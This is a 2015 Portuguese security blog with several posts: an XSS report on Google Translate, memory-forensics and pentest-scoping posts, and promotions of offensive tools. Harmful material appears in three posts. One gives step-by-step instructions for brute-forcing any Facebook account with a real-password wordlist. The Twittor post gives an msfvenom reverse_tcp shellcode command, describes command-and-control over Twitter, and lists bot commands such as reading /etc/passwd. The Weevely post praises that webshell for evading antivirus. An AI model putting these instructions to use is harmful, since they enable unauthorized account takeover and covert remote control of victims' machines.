29 de novembro de 2015

XSS no Google Translator

Há tempos atrás encontrei uma vulnerabilidade de Stored XSS no Blogspot e o Google simplesmente ignorou-me, dizendo que não era importante já que não permitia acessar o mesmo cookie da conta de Gmail para fazer o session hijacking (como se executar qualquer javascript na máquina do usuário não fosse importante hahahah). Tanto que uso essa mesma vulnerabilidade até hoje para demonstrar o XSS em alguns de meus cursos.

Mas será que dessa vez vão fazer alguma coisa?

No Google Translator, temos a possibilidade de subir arquivos para serem traduzidos, só que pelo jeito não há alguns filtros necessários. Vamos ver abaixo...


O arquivo enviado é bem simples, uma simples tag "img src" com um javascript junto:




Basta subir o arquivo e clicar em "Traduzir" para vermos o resultado:


Interessante, não?! A vulnerabilidade já foi publicada na lista Full Disclosure.

18 de novembro de 2015

Ataque de força bruta em contas do Facebook

Para quem assiste Mr. Robot, e que antes achava que ataque de força bruta contra contas de Facebook era algo que não funcionava, sinto dizer que se enganaram, felizmente :-)

Já circulava na net há um tempo um belo script que nos ajuda nessa empreitada para quem precisa, em alguma situação qualquer, realizar esse tipo de ataque.

APENAS DEIXO BEM CLARO QUE NÃO SOU RESPONSÁVEL POR QUEM REALIZAR ESSE TIPO DE ATAQUE, E ESSE POST É INFORMATIVO E PARA FINS DE PESQUISA.

Após o aviso formal necessário, vamos seguir adiante...

Uma das principais coisas para um ataque desse tipo é ter uma boa wordlist, e isso pode ser um pouco difícil de achar ou construir. Não adianta dizer que basta usar aplicativos que geram combinações que criam uma wordlist prq essa não é a melhor alternativa, já que as pessoas não costuma usar combinações simples para suas senhas, mas sim conteúdos mnemônicos para facilitar suas vidas. Portanto, uma wordlist construída com senhas reais seria uma boa pedida.

Então para essa primeira ferramenta, eu indico as wordlists do site CrackStation, pois são bem efetivas e bem construídas.

Além da wordlist, você precisará também de uma máquina Linux com o Python instalado, bem como o Python Mechanize, que pode instalar com o seguinte comando:
#apt-get install python-mechanize
Com sua máquina já configurada, basta baixar o script para o ataque através desse link. E então setar a permissão para execução, com o comando:
#chmod +x facebook.py 
E quando for executar o script, você será avisado de que precisa informar o username ou email da conta alvo, e posteriomente o caminho onde está sua wordlist. Então basta ir fazer um lanche, ou dormir, que depis de algumas horas já terá o acesso à conta alvo :-) É óbvio que, através de um ataque com wordlist, é necessário um pouco de sorte para que a senha da conta alvo esteja dentro de sua wordlist.

Divirtam-se!

14 de novembro de 2015

LiME – Linux Memory Extractor

Nas versões mais recentes do kernel do Linux, já não é mais possível fazer a extração do conteúdo da memória física de uma máquina Linux usando o "dd". No entanto algumas outras formas já surgiram para resolver esse problema.

Uma delas é usar o módulo "fmem", como descrito no blog do João Eriberto. Essa maneira funciona muito bem quando pensamos apenas em máquinas Linux com o kernel acima da versão  2.6. Entretanto, se precisarmos de algo com mais funcionalidades precisamos usar outra ferramenta.

Essa outra ferramenta pode muito bem ser o LiME - Linux Memory Extractor. O LiME é um LKM (Loadable Kernel Module) que funciona muito bem para a realização de extração de dump de memória física não só de máquinas Linux, mas dispositivos Android também.

Para fazer uso do mesmo, é preciso primeiro fazer download do mesmo AQUI e descompactá-lo. Depois disso, basta compilá-lo com o comando "make".

Duas coisas interessantes: a ferramenta permite fazer a extração via rede e só precisa usar o comando insmod para carregar o módulo. Veja abaixo os comandos:


insmod ./lime.ko "path=> format= [dio=<0>]"

path (required):   outfile ~ name of file to write to on local system (SD Card)
        tcp:port ~ network port to communicate over

format (required): raw ~ concatenates all System RAM ranges
        padded ~ pads all non-System RAM ranges with 0s
        lime ~ each range prepended with fixed-size header containing address space info

dio (optional):    1 ~ attempt to enable Direct IO
        0 ~ default, do not attempt Direct IO

localhostonly (optional):  1 restricts the tcp to only listen on localhost, 0 binds on all interfaces (default)

E no caso de dispositivos Android, os comandos são (um exemplo):

$ adb push lime.ko /sdcard/lime.ko
$ adb forward tcp:4444 tcp:4444
$ adb shell
$ su
# insmod /sdcard/lime.ko "path=tcp:4444 format=lime"
É possível assistir um vídeo de apresentação da ferramenta, que permitirá entender melhor seu funcionamente, clicando aqui.

Para os profissionais da área de forense, é uma grande ferramenta. Entretanto, lembrem-se de duas coisas importantíssimas: baixe e compile o LiME em um pendrive ou disco externo que usará com o kit de ferramentas que preparou previamente para o processo de coleta de dados, e não apenas o LiME, mas também todos os demais binários utilizados, como o insmod, devem ser preparados por você como parte de um kit forense, e não aqueles que existem dentro do disco a ser coletado como evidência.

Divirtam-se!

13 de novembro de 2015

11 de novembro de 2015

Quais perguntas devo fazer para orçar um teste de invasão (pentest)?

Um grande amigo da área de segurança e forense me perguntou sobre quais informações precisaríamos levantar para orçar um pentest para um cliente. Como já respondi a mesma pergunta algumas outras vezes para outros amigos e conhecidos, achei interessante usar a resposta que dei ao mesmo para um post aqui no blog. Até mesmo porque essa é uma questão que sempre surge nos cursos de Pentest que realizo.

Obviamente que só coloquei aqui as principais perguntas, pois muitas outras podem surgir e outras ainda precisarão ser suprimidas dependendo do cenário atendido.

Essas são as perguntas que precisamos que sejam respondidas para criarmos a proposta final para o cliente. Com esses dados poderemos determinar escopo e quantidade de horas (para calcular valores e etc).

----------------------------------------//----------------------------------------//----------------------------------------

Questões gerenciais

Os executivos estão cientes dos testes que serão realizados?
Qual o principal tipo de informação que criaria um grande risco para organização se exposta, comprometida ou apagada?
Há procedimentos de Disaster Recovery onde os testes serão realizados?


Questões para Administradores de Sistemas

Há algum sistema que poderia ser caracterizado como frágil (sistemas que travam normalmente, sistemas operacionais antigos, ou não atualizados)?
Há sistemas na rede que não são de propriedade do cliente que precisam de autorização adicional para realização dos testes?
Qual o tempo padrão de reparo de sistemas?
Há softwares de monitoramento na rede?
Quais os servidores e aplicações mais críticos?
Procedimentos de backups são testados regularmente?


Questões sobre Redes

Por que o cliente precisa do teste de invasão realizado em seu ambiente?
O teste é necessário para algum requerimento específico de compliance?
Quando os testes podem ser realizados (horário comercial, após horário comercial, durante a madrugada, finais de semana)?
Quantos IPs serão testados? Quantos IPs internos? Quantos IPs externos?
Há algum ativo que possa impactar nos resultados dos testes tais como firewall, IDS/IPS, load balancer, web application firewall?
No caso em que um sistema seja comprometido, como a equipe deve proceder:
1 - realizar uma avaliação de vulnerabilidades na máquina comprometida?
2 - tentar ganhar privilégios mais altos (root ou administrator) na máquina comprometida?
3 - não realizar ataques, ou realizar testes mínimos ou de dicionários para descobrir senhas locais?


Questões sobre aplicações WEB

Haverão testes contra aplicações web?
Quantas aplicações web serão avaliadas?
Quantos sistemas de login serão avaliados?
Quantas páginas estáticas serão avaliadas? (aproximadamente)
Quantas páginas dinâmicas serão avaliadas? (aproximadamente)
O código fonte será disponibilizado?
Haverá alguma documentação disponível? Se positivo, qual tipo de documentação?
Será realizada análise estática em alguma aplicação WEB (no código)?
O cliente deseja que seja feito fuzzing contra a aplicação (testes dinâmicos em busca de bugs)?
O cliente deseja que sejam feitos testes de acordo com perfil de usuários na aplicação?
O cliente deseja que seja feita varredura usando credenciais?


Questões sobre wireless

Haverão testes contra redes wireless?
Quantas redes wireless existem no local?
Há redes de visitantes? Se positivo:
1 - requer autenticação?
2 - qual tipo de criptografia é usado?
3 - qual a cobertura em metros quadrados?
4 - há necessidade de realizar testes com rogue devices?
5 - haverão testes contra os clientes da rede visitante?
6 - aproximadamente quantos clientes utilizam a rede?


Questões sobre Engenharia Social

Haverão testes de engenharia social?
O cliente possui uma lista de e-mails sobre a qual os ataques serão realizados?
O cliente possui uma lista de telefones sobre a qual os ataques serão realizados?
Haverá necessidade de tentativa de obtenção de acesso físico às dependências físicas do cliente?

----------------------------------------//----------------------------------------//----------------------------------------

Sei que é muita coisa, mas são informações necessárias para sabermos onde e com o que estamos mexendo!

Créditos à PTES Framework.

9 de novembro de 2015

Weevely 3 - Um poderoso webshell com muitas funcionalidades

Para a galera que curte um web shell, como os antigos C99, R57 e etc, já temos uma ferramenta mais avançada e completa hoje em dia, que é o Weevely 3.

É uma das melhores ferramentas dentre as que tenho visto nos últimos tempos, e ajudará muito os pentesters que precisem prosseguir no processo de post-exploitation, escalada de privilégio, movimentação lateral e etc. Algumas de suas funcionalidades são:

  • Shell/PHP telnet-like network terminal
  • Common server misconfigurations auditing
  • SQL console pivoting on target
  • HTTP traffic proxying through target
  • Mount target file system to local mount point
  • Conduct network scans pivoting on target
  • File upload and download
  • Spawn reverse and direct TCP shells
  • Bruteforce services accounts
  • Compress and decompress zip, gzip, bzip2 and tar archives

O que é mais interessante, na minha opinião, é que seu código é polimórfico, fazendo com que dificilmente seja detectado por um antivírus ou Host IDS. Sem contar que toda a comunicação entre o agente e o cliente é totalmente obfuscada usando técnicas de steganografia em cima de protocolo HTTP.

Na WIKI dessa tool, é possível ter acesso à um help bem completo, para entender seu funcionamento e, apesar do agente ser um script em php, é provida uma API em python para construção de novos módulos de extensão. Melhor impossível!

E para baixar a tool, é só CLICAR AQUI.

Aproveitem e divirtam-se

5 de novembro de 2015

Suite FOCA

Falando de ferramentas para pentest, EvilFoca é um toolkit para quem precisa realizar testes de segurança em redes, sejam em IPv4 ou IPv6. Essa ferramenta foi desenvolvida pela ElevnPaths, mais especificamente por um de seus sócios Chema Alonso, que é um grande especialista na área de segurança da informação.

EvilFoca só precisa dos seguintes pré-requisitos para roda:

  • Windows XP ou mais atual;
  • .NET Framework 4.0 ou mais atual;
  • Biblioteca WinPCap


Com isso, você já estará pronto para instalar, rodar a ferramenta tranquilamente e executar os seguintes ataques:

  • MITM em redes IPv4 com ARP Spoofing e DHCP ACK Injection.
  • MITM em redes IPv6 com Neighbor Advertisement Spoofing, SLAAC attack, fake DHCPv6.
  • DoS (Denial of Service) em redes IPv4 com ARP Spoofing.
  • DoS (Denial of Service) em redes IPv6 com SLAAC DoS.
  • DNS Hijacking.

Para baixar a ferramenta gratuita e saber um pouco mais sobre os ataques citados acima, você pode acessar esse link.

3 de novembro de 2015

Twittor - Backdoor usando Twitter para C&C


Olá pessoal, nesse post venho falar mais uma vez sobre um backdoor com características de Command & Control, o Twittor.

Em um dos últimos posts, falei do GCat, que usa o Gmail, mas o Twittor utiliza-se de uma outra aplicação de rede social para C&C, o Twitter (nem dá para perceber pelo seu nome...rs). O que é mais interessante é que da mesma forma que para gerenciar o GCat poderíamos usar mensgaens de email, para o Twittor usamos Direct Messages (DM) para enviar os comandos que serão executados remotamente.

Você pode baixar o aplicativo AQUI ou saber mais sobre esse programa AQUI.

Uma das coisas que achei bem interessante é a possibilidade de executar comandos remotamente, incluindo shellcodes que vc tenha gerado pelo msfvenom do Metasploit. Por exemplo, se você gerar um shellcode usando o seguinte comando:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
Basta enviar o shellcode criado com o seguinte comando, para o Twittor:

$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
O número 11:22:33:44:55 é o id do seu bot client, e você poderá saber quais comandos estão disponíveis após executar o servidor através do comando:
$ python twittor.py
E digitando "help":
$ help
E é interessante também saber como enviar comando codificados, com o comando:
$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$
Para saber quais bots estão ativos, basta executar:
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$
Aqui vocês podem ver uma tela de configuração do Twittor:

E uma coisa muito importante: você precisa ter uma conta no Twitter para usá-lo...rs. Apenas certifique-se de criar uma conta exclusiva para isso, sejamos inteligentes ;-)

Por hoje é só!